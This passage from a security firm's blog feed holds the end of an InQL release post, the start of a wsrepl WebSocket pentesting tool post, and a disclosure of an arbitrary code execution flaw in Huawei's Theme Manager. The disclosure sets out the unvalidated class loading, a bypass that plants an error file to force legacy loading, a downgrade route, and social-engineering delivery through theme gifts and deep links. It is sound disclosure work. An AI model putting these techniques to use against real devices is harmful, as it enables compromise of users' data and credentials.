&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/inql_v5_poi.png&quot; alt=&quot;Points of Interest results&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 650px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h2 id=&quot;improved-logging&quot;&gt;Improved Logging&lt;/h2&gt;

&lt;p&gt;One of my frustrations with earlier versions of the tool was the lack of useful error
messages when the parser broke on real-world schemas. So, I introduced
configurable logging. This, coupled with the fact that parsing functionality is
now handled by GQLSpection, has made InQL v5.0 much more reliable and user-friendly.&lt;/p&gt;

&lt;h2 id=&quot;in-line-annotations&quot;&gt;In-line Annotations&lt;/h2&gt;

&lt;p&gt;Another important addition to InQL are the annotations. Prior to this, InQL only
generated the bare minimum query, necessitating the use of other tools to deduce
the correct input format, expected values, etc. However, with the addition of
inline comments populated with content from ‘description’ fields from the
GraphQL schema or type annotations, InQL v5.0 has become much more of a
standalone tool.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/inql_v5_annotations.png&quot; alt=&quot;Annotations&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 650px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;There is a trade-off here: while the extensive annotations make InQL more
usable, they can sometimes make it hard to comprehend and navigate. We’re
looking at solutions for future releases to dynamically limit the display of
annotations.&lt;/p&gt;

&lt;h1 id=&quot;the-future-of-inql-and-graphql-security&quot;&gt;The Future of InQL and GraphQL Security&lt;/h1&gt;

&lt;p&gt;Our roadmap for InQL is ambitious. Having said that, we are committed to
reintroduce features like GraphiQL and Circular Relationship Detection, achieving full feature
parity with v4.&lt;/p&gt;

&lt;p&gt;As GraphQL continues to grow, ensuring robust security is crucial. InQL’s future
involves addressing niche GraphQL features that are often overlooked and
improving upon existing pentesting tools. We look forward to sharing more
developments with the community.&lt;/p&gt;

&lt;h1 id=&quot;inql-a-great-project-for-students-and-contributors&quot;&gt;InQL: A Great Project for Students and Contributors&lt;/h1&gt;

&lt;p&gt;InQL is not just a tool, it’s a project – a project that invites the
contributions of those who are passionate about cybersecurity. &lt;strong&gt;We’re actively
seeking students and developers&lt;/strong&gt; who would like to contribute to InQL or do
GraphQL-adjacent security research. This is an opportunity to work with experts
in GraphQL security, and play a part in shaping the future of InQL.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/inql_v5_love.png&quot; alt=&quot;DoyensecInQL&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 350px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;InQL v5.x is the result of relentless work and an unwavering commitment to
enhancing GraphQL security. We urge all pentesters, bug hunters, and
cybersecurity enthusiasts working with GraphQL to try out this new release. If
you’ve tried InQL in the past and are looking forward to enhancements, v5.0 will
not disappoint.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;At Doyensec, we’re not just developing a tool, we’re pushing the boundaries of
what’s possible in GraphQL security.&lt;/strong&gt; We invite you to join us on this
journey, whether as a user, contributor, or intern.&lt;/p&gt;

&lt;p&gt;Happy Hacking!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Huawei Theme Manager Arbitrary Code Execution</title>
   <link href="https://blog.doyensec.com/2023/07/26/huawei-theme-arbitrary-code-exec.html"/>
   <updated>2023-07-26T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2023/07/26/huawei-theme-arbitrary-code-exec</id>
   <content type="html">&lt;p&gt;Back in 2019, we were lucky enough to take part in the newly-launched &lt;a href=&quot;https://techcrunch.com/2019/11/05/huawei-secret-bug-bounty-meeting/&quot;&gt;Huawei mobile bug bounty&lt;/a&gt;. For that, we decided to research &lt;a href=&quot;https://consumer.huawei.com/en/mobileservices/themes/&quot;&gt;Huawei’s Themes&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The Themes Manager allows custom themes on EMUI devices to stylize preferences, and the customization of lock screens, wallpapers and icons. Processes capable of making these types of system-wide changes need to have elevated privileges, making them valuable targets for research as well as exploitation.&lt;/p&gt;

&lt;h3 id=&quot;background&quot;&gt;Background&lt;/h3&gt;

&lt;p&gt;When it comes to implementing a lockscreen on EMUI, there were three possible engines used:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;com.ibimuyu.lockscreen&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;com.vlife.huawei.emuilock&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;com.huawei.ucdlockscreen&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When installing a theme, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SystemUI.apk&lt;/code&gt; verifies the signature of the application attempting to make these changes against a hardcoded list of trusted ones. From what we observed, this process seems to have been implemented properly, with no clear way to bypass the signature checks.&lt;/p&gt;

&lt;p&gt;That said, we discovered that when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.huawei.ucdlockscreen&lt;/code&gt; was used, it loaded additional classes at runtime. The signatures of these classes were not validated properly, nor were they even checked. This presented an opportunity for us to introduce our own code.&lt;/p&gt;

&lt;p&gt;Taking a look at the structure of the theme archive files (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.hwt&lt;/code&gt;), we see that the unlock screen elements are packaged as follows:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/huawei_image_01.png&quot; alt=&quot;Archive Structure&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Looking in the unlock directory, we saw the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theme.xml&lt;/code&gt; file, which is a manifest specifying several properties. These settings included the dynamic unlock engine to use (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ucdscreenlock&lt;/code&gt; in our case) and an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ext.properties&lt;/code&gt; file, which allows for dynamic Java code loading from within the theme file.&lt;/p&gt;

&lt;p&gt;Let’s look at the file content:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/huawei_image_02.png&quot; alt=&quot;Archive Structure&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 300px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;This instructs the dynamic engine (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.huawei.ucdlockscreen&lt;/code&gt;) to load &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.huawei.nova.ExtensionJarImpl&lt;/code&gt; at runtime from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NOVA6&lt;/code&gt;LockScreen&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2019120501.apk&lt;/code&gt;. Since this class is not validated, we can introduce our own code to achieve &lt;ins&gt;arbitrary code execution&lt;/ins&gt;. What makes this even more interesting is that our code will run within a process of a highly privileged application (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.huawei.android.thememanager&lt;/code&gt;), as shown below.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/huawei_image_03.png&quot; alt=&quot;Privileged Application List&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Utilizing the logcat utility, we can see the dynamic loading process:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/huawei_image_04.png&quot; alt=&quot;Process Logs&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;This vulnerability was confirmed via direct testing on EMUI 9.1 and 10, but appears to impact the current version of EMUI with &lt;a href=&quot;#exploitability&quot;&gt;some limitations*&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/huawei_image_05.png&quot; alt=&quot;Theme in foreground with logcat in back&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;

&lt;p&gt;As previously mentioned, this results in &lt;strong&gt;arbitrary code execution&lt;/strong&gt; using the PID of a highly privileged application. In our testing, exploitation resulted in obtaining around 200 Android and Huawei custom permissions. Among those were the permissions listed below which could result in total compromise of the device’s user data, sensitive system data, any credentials entered into the system and the integrity of the system’s environment.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/huawei_image_06.png&quot; alt=&quot;Permissions List&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Considering that the application can send intents requiring the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;huawei.android.permission.HW_SIGNATURE_OR_SYSTEM&lt;/code&gt; permission, we believe it is possible to leverage existing system functionalities to obtain system level code execution. Once achieved, this vulnerability has great potential as part of a rooting chain.&lt;/p&gt;

&lt;h3 id=&quot;exploitability&quot;&gt;Exploitability&lt;/h3&gt;

&lt;p&gt;This issue can be reliably exploited with no technical impediments. That said, exploitation requires installing a custom theme. To accomplish this remotely, user interaction is required. We can conceive of several plausible social engineering scenarios which could be effective or perhaps use a second vulnerability to force the download and installation of themes. 
Firstly, it is possible to gift themes to other users, so a compromised trusted contact could be leveraged (or spoofed) to convince a victim to accept and install the malicious theme.
As an example, the following URL will open the theme gift page: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hwt://www.huawei.com/themes?type=33&amp;amp;id=0&amp;amp;from=AAAA&amp;amp;channelId=BBB&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/huawei_image_07.png&quot; alt=&quot;Theme gifting attack flow&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Secondly, an attacker could publish a link or QR code pointing to the malicious theme online, then convince a victim into triggering the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HwThemeManager&lt;/code&gt; application via a deep link using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hwt://&lt;/code&gt; scheme.&lt;/p&gt;

&lt;p&gt;To be fair, we must acknowledge that Huawei has a review process in place for new themes and wallpapers, which might limit the use of live themes exploiting this vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;partial-fix&quot;&gt;Partial fix&lt;/h3&gt;

&lt;p&gt;Huawei released an update for HwThemeManager on February 24, 2022 (internally tracked as HWPSIRT-2019-12158) stating this was resolved. Despite this, we believe the issue was actually resolved in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ucdlockscreen.apk&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.huawei.ucdlockscreen&lt;/code&gt; version 3 and later).&lt;/p&gt;

&lt;p&gt;This is an important distinction, because the latest version of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ucdlockscreen.apk&lt;/code&gt; is installed at runtime by HwThemeManager, after applying a theme that requires such an engine. Even on a stock phone (both EMUI 9,10 and latest 12.0.0.149), an attacker with physical access can uninstall the latest version and install the old vulnerable version since it is properly signed by Huawei.&lt;/p&gt;

&lt;p&gt;Without further mitigations from Huawei, an attacker with physical access to the device can still leverage this vulnerability to gain system privileged access on even the latest devices.&lt;/p&gt;

&lt;h3 id=&quot;further-discovery&quot;&gt;Further discovery&lt;/h3&gt;

&lt;p&gt;After a few hours of reverse engineering the fix introduced in the latest version of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.huawei.ucdlockscreen&lt;/code&gt; (version 4.6), we discovered an additional bypass impacting the EMUI 9.1 release. This issue doesn’t require physical access and can again trigger the same exploitable condition.&lt;/p&gt;

&lt;p&gt;During theme loading, the latest version of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.huawei.ucdlockscreen &lt;/code&gt;checks for the presence of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/themes/0/unlock/ucdscreenlock/error&lt;/code&gt; file. Since all of the files within &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/themes/0/&lt;/code&gt; are copied from the provided theme (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.hwt&lt;/code&gt;) file they can all be attacker-controlled.&lt;/p&gt;

&lt;p&gt;This file is used to check the specific version of the theme. An attacker can simply embed an error file referencing an older version, forcing legacy theme support. When doing so, an attacker would also specify a fictitious package name in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ext.properties&lt;/code&gt; file. This combination of changes in the malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.hwt&lt;/code&gt; file bypasses all the required checks - making the issue exploitable again on the latest EMUI9.1, with no physical access required. At the time of our investigation, the other EMUI major versions appear to implement signature validation mechanisms to mitigate this.&lt;/p&gt;

&lt;h3 id=&quot;disclosure&quot;&gt;Disclosure&lt;/h3&gt;

&lt;p&gt;This issue was disclosed on Dec 31, 2019 according to the terms of the Huawei Mobile Bug Bounty, and it was addressed by Huawei as described above. Additional research results were reported to Huawei on Sep 1, 2021. Given the time that has elapsed from the original fix and the fact that we believe the issue is no longer &lt;ins&gt;remotely&lt;/ins&gt; exploitable, we have decided to release the details of the vulnerability.&lt;/p&gt;

&lt;p&gt;At the time of writing this post (April 28th, 2023), the issue is still exploitable locally on the latest EMUI (12.0.0.149) by force-loading the vulnerable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ucdlockscreen.apk&lt;/code&gt;. We have decided not to release the vulnerable version of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ucdlockscreen.apk&lt;/code&gt; as well as the malicious theme proof-of-concept. While the issue is no longer interesting to attackers, it can still benefit the rooting community and facilitate the work of security researchers in identifying issues within Huawei’s EMUI-based devices.&lt;/p&gt;

&lt;h3 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h3&gt;

&lt;p&gt;While the vulnerability is technically interesting by itself, there are two security engineering learning lessons here. The biggest takeaway is clearly that while relying on signature validation for authenticating software components can be an effective security measure, it must be thoroughly extended to include any dynamically loaded code. That said, it appears Huawei no longer provides bootloader unlock options (see &lt;a href=&quot;https://consumer.huawei.com/en/community/details/Huawei-s-decision-to-cease-providing-bootloader-unlocking-codes/topicId_41529/&quot;&gt;here&lt;/a&gt;) making rooting more complicated and expensive. It remains to be seen if this bug is ever used as part of a chain developed by the rooting community.&lt;/p&gt;

&lt;p&gt;A secondary engineering lesson is to ensure that when we design backwards compatibility mechanisms, we should assume that there may be older versions that we want to abandon.&lt;/p&gt;

&lt;p&gt;This research was made possible by the &lt;strong&gt;Huawei Mobile Phone Bug Bounty Program&lt;/strong&gt;. We want to thank the Huawei PSIRT for their help in handling this issue, the generous bounty and the openness to disclose the details.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Streamlining Websocket Pentesting with wsrepl</title>
   <link href="https://blog.doyensec.com/2023/07/18/streamlining-websocket-pentesting-with-wsrepl.html"/>
   <updated>2023-07-18T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2023/07/18/streamlining-websocket-pentesting-with-wsrepl</id>
   <content type="html">&lt;p&gt;In an era defined by instant gratification, where life zips by quicker than a teenager’s TikTok scroll, WebSockets have evolved into the heartbeat of web applications. They’re the unsung heroes in data streaming and bilateral communication, serving up everything in real-time, because apparently, waiting is so last century.&lt;/p&gt;

&lt;p&gt;However, when tasked with pentesting these WebSockets, it feels like you’re juggling flaming torches on a unicycle, atop a tightrope! Existing tools, while proficient in their specific realms, are much like mismatched puzzle pieces – they don’t quite fit together, leaving you to bridge the gaps. Consequently, you find yourself shifting from one tool to another, trying to manage them simultaneously and wishing for a more streamlined approach.&lt;/p&gt;

&lt;p&gt;That’s where &lt;a href=&quot;https://github.com/doyensec/wsrepl&quot;&gt;https://github.com/doyensec/wsrepl&lt;/a&gt; comes to the rescue. This tool, the latest addition to Doyensec’s security tools, is designed to simplify auditing of websocket-based apps. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt; strikes a much needed balance by offering an interactive REPL interface that’s user-friendly, while also being conveniently easy to automate. With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt;, we aim to turn the tide in websocket pentesting, providing a tool that is as efficient as it is intuitive.&lt;/p&gt;

&lt;h2 id=&quot;the-doyensec-challenge&quot;&gt;The Doyensec Challenge&lt;/h2&gt;

&lt;p&gt;Once upon a time, we took up an engagement with a client whose web application relied heavily on WebSockets for soft real-time communication. This wasn’t an easy feat. The client had a robust bug bounty policy and had undergone multiple pentests before. Hence, we were fully aware that the lowest hanging fruits were probably plucked. Nevertheless, as true Doyensec warriors (‘doyen’ - a term Merriam-Webster describes as ‘a person considered to be knowledgeable or uniquely skilled as a result of long experience in some field of endeavor’), we were prepared to dig deeper for potential vulnerabilities.&lt;/p&gt;

&lt;p&gt;Our primary obstacle was the application’s custom protocol for data streaming. Conventional wisdom among pentesters suggests that the most challenging targets are often the ones most overlooked. Intriguing, isn’t it?&lt;/p&gt;

&lt;h2 id=&quot;the-quest-for-the-perfect-tool&quot;&gt;The Quest for the Perfect Tool&lt;/h2&gt;

&lt;p&gt;The immediate go-to tool for pentesting WebSockets would typically be &lt;a href=&quot;https://portswigger.net/burp&quot;&gt;Burp Suite&lt;/a&gt;. While it’s a heavyweight in web pentesting, we found its implementation of WebSockets mirrored HTTP requests a little bit too closely, which didn’t sit well with near-realtime communications.&lt;/p&gt;

&lt;p&gt;Sure, it does provide a neat way to get an interactive WS session, but it’s a bit tedious - navigating through ‘Upgrade: websocket’, hopping between ‘Repeater’, ‘Websocket’, ‘New WebSocket’, filling in details, and altering &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP/2&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP/1.1&lt;/code&gt;. The result is a decent REPL but the process? Not so much.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/websockets-in-burp-are-pain.png&quot; alt=&quot;Initiating a new websocket in Burp&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 100%;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Don’t get me wrong, Burp does have its advantages. Pentesters already have it open most times, it highlights JSON or XML, and integrates well with existing extensions. Despite that, it falls short when you have to automate custom authentication schemes, protocols, connection tracking, or data serialization schemes.&lt;/p&gt;

&lt;p&gt;Other tools, like &lt;a href=&quot;https://websocketking.com&quot;&gt;websocketking.com&lt;/a&gt; and &lt;a href=&quot;https://hoppscotch.io/realtime/websocket&quot;&gt;hoppscotch.io/realtime/websocket&lt;/a&gt;, offer easy-to-use and aesthetically pleasing graphical clients within the browser. However, they lack comprehensive options for automation. Tools like &lt;a href=&quot;https://github.com/VDA-Labs/websocket-harness&quot;&gt;websocket-harness&lt;/a&gt; and &lt;a href=&quot;https://github.com/nccgroup/wssip&quot;&gt;WSSiP&lt;/a&gt; bridge the gap between HTTP and WebSockets, which can be useful, but again, they don’t offer an interactive REPL for manual inspection of traffic.&lt;/p&gt;

&lt;p&gt;Finally, we landed on websocat, a netcat inspired command line WebSockets client that comes closest to what we had in mind. While it does offer a host of features, it’s predominantly geared towards debugging WebSocket servers, not pentesting.&lt;/p&gt;

&lt;h2 id=&quot;wsrepl-the-websockets-pentesting-hero&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt;: The WebSockets Pentesting Hero&lt;/h2&gt;

&lt;p&gt;Enter &lt;a href=&quot;https://github.com/doyensec/wsrepl&quot;&gt;wsrepl&lt;/a&gt;, born out of necessity as our answer to the challenges we faced. It is not just another pentesting tool, but an agile solution that sits comfortably in the middle - offering an interactive REPL experience while also providing simple and convenient path to automation.&lt;/p&gt;

&lt;p&gt;Built with Python’s fantastic TUI framework &lt;a href=&quot;https://textual.textualize.io/&quot;&gt;Textual&lt;/a&gt;, it enables an accessible experience that is easy to navigate both by mouse and keyboard. That’s just scratching the surface though. Its interoperability with curl’s arguments enables a fluid transition from the Upgrade request in Burp to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt;. All it takes is to copy a request through ‘Copy as curl command’ menu option and replace &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/burp-to-wsrepl.png&quot; alt=&quot;Initiating a new WebSocket in wsrepl&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 100%;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;On the surface, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt; is just like any other tool, showing incoming and outgoing traffic with the added option of sending new messages. The real magic however, is in the details. It leaves nothing to guesswork. Every hexadecimal opcode is shown as per &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6455&quot;&gt;RFC 6455&lt;/a&gt;, a feature that could potentially save you from many unnecessary debugging hours.&lt;/p&gt;

&lt;h2 id=&quot;a-lesson-learned&quot;&gt;A lesson learned&lt;/h2&gt;

&lt;p&gt;Here’s an anecdote to illustrate this point. At the beginning of our engagement with WebSockets, I wasn’t thoroughly familiar with the WebSocket RFC and built my understanding based on what Burp showed me. However, Burp was only displaying text messages, obscuring message opcodes and autonomously handling pings without revealing them in the UI. This partial visibility led to some misconceptions about how WebSockets operate. The developers of the service we were testing seemingly had the same misunderstanding, as they implemented ping traffic using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x1&lt;/code&gt; - text type messages. This caused confusion and wasted time when my scripts kept losing the connection, even though the traffic appeared to align with my Burp observations.&lt;/p&gt;

&lt;p&gt;To avoid similar pitfalls, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt; is designed to give you the whole picture, without any hidden corners. Here’s a quick rundown of WebSocket opcodes defined in &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6455#section-5.2&quot;&gt;RFC6544&lt;/a&gt; that you can expect to see in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt;:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Opcode&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;0x0&lt;/td&gt;
      &lt;td&gt;Continuation Frame&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0x1&lt;/td&gt;
      &lt;td&gt;Text Frame&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0x2&lt;/td&gt;
      &lt;td&gt;Binary Frame&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0x8&lt;/td&gt;
      &lt;td&gt;Connection Close&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0x9&lt;/td&gt;
      &lt;td&gt;Ping&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0xA&lt;/td&gt;
      &lt;td&gt;Pong (must carry the same payload as the corresponding Ping frame)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Contrary to most WebSocket protocols that mainly use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x1&lt;/code&gt; type messages, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt; accompanies all messages with their opcodes, ensuring full transparency. We’ve intentionally made the decision not to conceal ping traffic by default, although you have the choice to hide them using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--hide-ping-pong&lt;/code&gt; option.&lt;/p&gt;

&lt;p&gt;Additionally, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt; introduces the unique capability of sending &lt;em&gt;‘fake’&lt;/em&gt; ping messages, that use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x1&lt;/code&gt; message frame. Payloads can be defined with options &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--ping-0x1-payload&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--pong-0x1-payload&lt;/code&gt;, and the interval controlled by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--ping-0x1-interval&lt;/code&gt;. It also supports client-induced ping messages (protocol level, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x9&lt;/code&gt;), even though typically this is done by the server: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--ping-interval&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It’s also noteworth that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt; incorporates an automatic reconnection feature in case of disconnects. Coupled with granular ping control, these features empower you to initiate long-lasting and stable WebSocket connections, which have proven useful for executing certain attacks.&lt;/p&gt;

&lt;h2 id=&quot;automation-made-simple-with-wsrepl&quot;&gt;Automation Made Simple with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;Moreover, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsrepl&lt;/code&gt; is crafted with a primary goal in mind: enabling you to quickly transition into WebSocket automation. To do this, you just need to write a Python plugin, which is pretty straightforward and, unlike Burp, feels quintessentially &lt;em&gt;pythonic&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;wsrepl&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Plugin&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;MESSAGES&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;hello&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;world&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Demo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Plugin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;Demo plugin that sends a static list of messages to the server.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;messages&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MESSAGES&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s Python, so really, the sky’s the limit. For instance, here is how to send a HTTP request to acquire the auth token, and then use it to authenticate with the WebSocket server:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;wsrepl&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Plugin&lt;/span&gt;
